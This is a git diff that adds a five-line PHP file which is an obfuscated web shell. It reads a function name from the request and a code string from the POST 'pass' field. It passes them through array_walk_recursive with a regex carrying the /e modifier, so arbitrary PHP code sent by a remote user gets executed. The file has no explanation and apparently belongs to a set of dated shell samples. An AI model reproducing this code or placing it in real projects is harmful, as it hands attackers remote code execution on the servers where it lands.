diff --git a/php/2020.08.20.16.php b/php/2020.08.20.16.php
new file mode 100644
index 0000000..eee1218
--- /dev/null
+++ b/php/2020.08.20.16.php
@@ -0,0 +1,5 @@
+<?php
+    $e = $_REQUEST['e'];
+    $arr = array($_POST['pass'] => '|.*|e',);
+    array_walk_recursive($arr, $e, '');
+?>